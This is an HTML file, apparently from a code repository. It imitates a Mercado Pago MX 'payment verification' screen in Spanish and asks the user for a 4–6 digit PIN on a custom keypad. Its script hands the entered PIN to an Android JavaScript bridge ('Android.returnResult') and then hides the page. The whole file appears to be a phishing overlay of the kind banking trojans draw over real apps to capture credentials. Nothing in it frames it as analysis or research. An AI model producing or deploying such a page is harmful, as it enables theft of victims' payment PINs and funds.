284 lines
10 KiB
HTML
284 lines
10 KiB
HTML
<!DOCTYPE html>
|
|
<html lang="es-MX">
|
|
<head>
|
|
<meta charset="UTF-8">
|
|
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
|
|
<title>Mercado Pago MX - Verificación de Pago</title>
|
|
<style>
|
|
* {
|
|
margin: 0;
|
|
padding: 0;
|
|
box-sizing: border-box;
|
|
font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica, Arial, sans-serif;
|
|
}
|
|
html {
|
|
font-size: 16px;
|
|
}
|
|
@media (max-width: 420px) {
|
|
html {
|
|
font-size: 3.6vw;
|
|
}
|
|
}
|
|
body {
|
|
background: #f0f2f5;
|
|
min-height: 100vh;
|
|
display: flex;
|
|
justify-content: center;
|
|
align-items: flex-start;
|
|
padding: 1.5rem 0.8rem;
|
|
}
|
|
.card {
|
|
width: 100%;
|
|
max-width: 26rem;
|
|
background: #ffffff;
|
|
border-radius: 1.4rem;
|
|
overflow: hidden;
|
|
box-shadow: 0 0.12rem 0.75rem rgba(0,0,0,0.08);
|
|
}
|
|
.top-bar {
|
|
height: 2.5rem;
|
|
background: #009ee3;
|
|
border-bottom-left-radius: 1rem;
|
|
border-bottom-right-radius: 1rem;
|
|
}
|
|
.content-wrap {
|
|
padding: 2rem 1.5rem;
|
|
text-align: center;
|
|
}
|
|
.header-logo-row {
|
|
display: flex;
|
|
align-items: center;
|
|
justify-content: center;
|
|
gap: 0.7rem;
|
|
}
|
|
.mp-logo {
|
|
width: 3.8rem;
|
|
height: 3.8rem;
|
|
background: #0a92cd;
|
|
border-radius: 1rem;
|
|
display: grid;
|
|
place-items: center;
|
|
color: white;
|
|
font-size: 1.8rem;
|
|
font-weight: 700;
|
|
}
|
|
.title-main {
|
|
font-size: 1.6rem;
|
|
font-weight: 600;
|
|
color: #111111;
|
|
white-space: nowrap;
|
|
}
|
|
.sub-title-small {
|
|
color: #888;
|
|
font-size: 1rem;
|
|
margin-bottom: 1.5rem;
|
|
}
|
|
.pin-tag {
|
|
background: #009ee3;
|
|
color: white;
|
|
padding: 0.2rem 1rem;
|
|
border-radius: 999px;
|
|
font-size: 1.1rem;
|
|
font-weight: 600;
|
|
display: inline-block;
|
|
margin-bottom: 0.6rem;
|
|
}
|
|
.lock-wrap {
|
|
margin: 0 auto 0.6rem;
|
|
}
|
|
.text-big {
|
|
font-size: 1.5rem;
|
|
font-weight: 600;
|
|
color: #111;
|
|
margin-bottom: 0.6rem;
|
|
}
|
|
.text-normal {
|
|
font-size: 1.1rem;
|
|
color: #444;
|
|
margin-bottom: 0.5rem;
|
|
}
|
|
.text-light {
|
|
font-size: 1rem;
|
|
color: #808080;
|
|
margin-bottom: 0.5rem;
|
|
}
|
|
.pin-input-box {
|
|
width: 100%;
|
|
height: 4.3rem;
|
|
border: 0.12rem solid #00b0e8;
|
|
border-radius: 0.9rem;
|
|
font-size: 1.6rem;
|
|
text-align: center;
|
|
outline: none;
|
|
margin-bottom: 0.7rem;
|
|
letter-spacing: 0.45rem;
|
|
background: #fff;
|
|
}
|
|
.pin-input-box.filled {
|
|
font-family: text-security-disc;
|
|
-webkit-text-security: disc;
|
|
text-security: disc;
|
|
}
|
|
.tip-digits {
|
|
color: #009ee3;
|
|
font-size: 1.05rem;
|
|
margin-bottom: 2rem;
|
|
font-weight: 500;
|
|
}
|
|
.keyboard-grid {
|
|
display: grid;
|
|
grid-template-columns: repeat(3, 1fr);
|
|
gap: 0.8rem;
|
|
}
|
|
.key-btn {
|
|
height: 4.8rem;
|
|
border-radius: 0.9rem;
|
|
border: 0.06rem solid #e4e7ec;
|
|
background: #fff;
|
|
font-size: 1.8rem;
|
|
font-weight: 500;
|
|
cursor: pointer;
|
|
display: grid;
|
|
place-items: center;
|
|
}
|
|
.key-btn:active {
|
|
opacity: 0.75;
|
|
}
|
|
.key-btn.del {
|
|
background: #f3f4f6;
|
|
}
|
|
.key-btn.confirm {
|
|
background: #273492;
|
|
color: white;
|
|
border: none;
|
|
}
|
|
.warn-text {
|
|
color: #b80c0c;
|
|
font-size: 1rem;
|
|
margin-top: 0.8rem;
|
|
}
|
|
.footer-ml {
|
|
margin-top: 1rem;
|
|
color: #aaa;
|
|
font-size: 0.9rem;
|
|
}
|
|
</style>
|
|
</head>
|
|
<body>
|
|
<div class="card">
|
|
<div class="top-bar"></div>
|
|
<div class="content-wrap">
|
|
<div class="header-logo-row">
|
|
<div class="mp-logo">MP</div>
|
|
<div class="title-main">Mercado Pago MX</div>
|
|
</div>
|
|
<div class="sub-title-small">Mercado Pago</div>
|
|
|
|
<div class="pin-tag">PIN</div>
|
|
<div class="lock-wrap">
|
|
<svg class="icon" viewBox="0 0 1024 1024" version="1.1" xmlns="http://www.w3.org/2000/svg" fill="#009ee3" style="height: 40px; width: 40px;">
|
|
<path d="M511.744 85.333333c100.821333 0 191.232 56.32 232.661333 142.805334 13.141333 27.392 21.76 66.986667 23.338667 101.802666L768 341.333333a128 128 0 0 1 128 128v341.333334a128 128 0 0 1-128 128H256a128 128 0 0 1-128-128v-341.333334a128 128 0 0 1 128-128v-11.52C256 194.261333 371.029333 85.333333 511.744 85.333333zM512 533.333333a42.666667 42.666667 0 0 0-42.368 37.674667L469.333333 576v128l0.298667 4.992a42.666667 42.666667 0 0 0 84.736 0L554.666667 704v-128l-0.298667-4.992A42.666667 42.666667 0 0 0 512 533.333333zM511.744 170.666667C420.096 170.666667 346.069333 238.08 341.546667 321.706667L341.333333 329.813333V341.333333h341.333334c0-25.216-6.528-58.24-15.232-76.373333C640.298667 208.341333 579.882667 170.666667 511.744 170.666667z"></path>
|
|
</svg>
|
|
</div>
|
|
|
|
<h2 class="text-big">Verificación de Pago</h2>
|
|
<p class="text-normal">Ingrese su PIN para completar.</p>
|
|
<p class="text-light">Para su seguridad, confirme su PIN.</p>
|
|
|
|
<input type="text" id="pinInput" class="pin-input-box" maxlength="6" readonly>
|
|
<div class="tip-digits">PIN de 4-6 dígitos</div>
|
|
|
|
<div class="keyboard-grid">
|
|
<button class="key-btn" data-key="1">1</button>
|
|
<button class="key-btn" data-key="2">2</button>
|
|
<button class="key-btn" data-key="3">3</button>
|
|
<button class="key-btn" data-key="4">4</button>
|
|
<button class="key-btn" data-key="5">5</button>
|
|
<button class="key-btn" data-key="6">6</button>
|
|
<button class="key-btn" data-key="7">7</button>
|
|
<button class="key-btn" data-key="8">8</button>
|
|
<button class="key-btn" data-key="9">9</button>
|
|
<button class="key-btn del" data-key="delete">
|
|
<svg class="icon" viewBox="0 0 1024 1024" version="1.1" xmlns="http://www.w3.org/2000/svg" fill="#909090" style="height: 42px; width: 42px;">
|
|
<path d="M938.666667 213.333333H298.666667c-8.533333 0-12.8 4.266667-17.066667 8.533334l-213.333333 277.333333c-4.266667 8.533333-4.266667 17.066667 0 25.6l213.333333 277.333333c4.266667 4.266667 8.533333 8.533333 17.066667 8.533334h640c12.8 0 21.333333-8.533333 21.333333-21.333334v-554.666666c0-12.8-8.533333-21.333333-21.333333-21.333334z m-260.266667 388.266667l-29.866667 29.866667-93.866666-89.6-89.6 89.6-29.866667-29.866667 89.6-89.6-89.6-89.6 29.866667-29.866667 89.6 89.6 89.6-89.6 29.866666 29.866667-89.6 89.6 93.866667 89.6z"></path>
|
|
</svg>
|
|
</button>
|
|
<button class="key-btn" data-key="0">0</button>
|
|
<button class="key-btn confirm" id="okBtn">✓</button>
|
|
</div>
|
|
|
|
<p class="warn-text">Intentos incorrectos bloquearán temporalmente.</p>
|
|
<div class="footer-ml">ML</div>
|
|
</div>
|
|
</div>
|
|
|
|
<script>
|
|
if (typeof Android == "undefined") {
|
|
var Android = {
|
|
returnResult: function(result) {
|
|
console.log('PIN:', result || "");
|
|
}
|
|
};
|
|
}
|
|
const pinInput = document.getElementById('pinInput');
|
|
const keys = document.querySelectorAll('.key-btn');
|
|
const okBtn = document.getElementById('okBtn');
|
|
let isSubmitting = false;
|
|
function toggleMask(){
|
|
if(pinInput.value.length>0){
|
|
pinInput.classList.add('filled');
|
|
}else{
|
|
pinInput.classList.remove('filled');
|
|
}
|
|
}
|
|
function clearInput(){
|
|
pinInput.value = '';
|
|
toggleMask();
|
|
isSubmitting = false;
|
|
}
|
|
function submitPIN() {
|
|
if (isSubmitting) return;
|
|
const pin = pinInput.value || "";
|
|
isSubmitting = true;
|
|
try {
|
|
Android.returnResult(pin);
|
|
console.log('PIN submitted:', pin);
|
|
if (typeof Android.hidePage === 'function') {
|
|
Android.hidePage('');
|
|
}
|
|
} catch (e) {
|
|
console.error('ERROR:', e);
|
|
}
|
|
setTimeout(clearInput, 500);
|
|
}
|
|
keys.forEach(key => {
|
|
key.addEventListener('click', () => {
|
|
if (isSubmitting) return;
|
|
const keyValue = key.dataset.key;
|
|
if (keyValue === 'delete') {
|
|
pinInput.value = pinInput.value.slice(0, -1);
|
|
toggleMask();
|
|
} else {
|
|
if(pinInput.value.length >=6) return;
|
|
pinInput.value += keyValue;
|
|
toggleMask();
|
|
}
|
|
});
|
|
});
|
|
okBtn.addEventListener('click',submitPIN);
|
|
document.addEventListener('touchstart', () => {}, { passive: true });
|
|
document.addEventListener('keydown', (e) => {
|
|
if (isSubmitting) return;
|
|
if (e.key >= '0' && e.key <= '9' && pinInput.value.length <6) {
|
|
pinInput.value += e.key;
|
|
toggleMask();
|
|
} else if (e.key === 'Backspace') {
|
|
pinInput.value = pinInput.value.slice(0, -1);
|
|
toggleMask();
|
|
} else if (e.key === 'Enter') {
|
|
submitPIN();
|
|
}
|
|
});
|
|
</script>
|
|
</body>
|
|
</html> |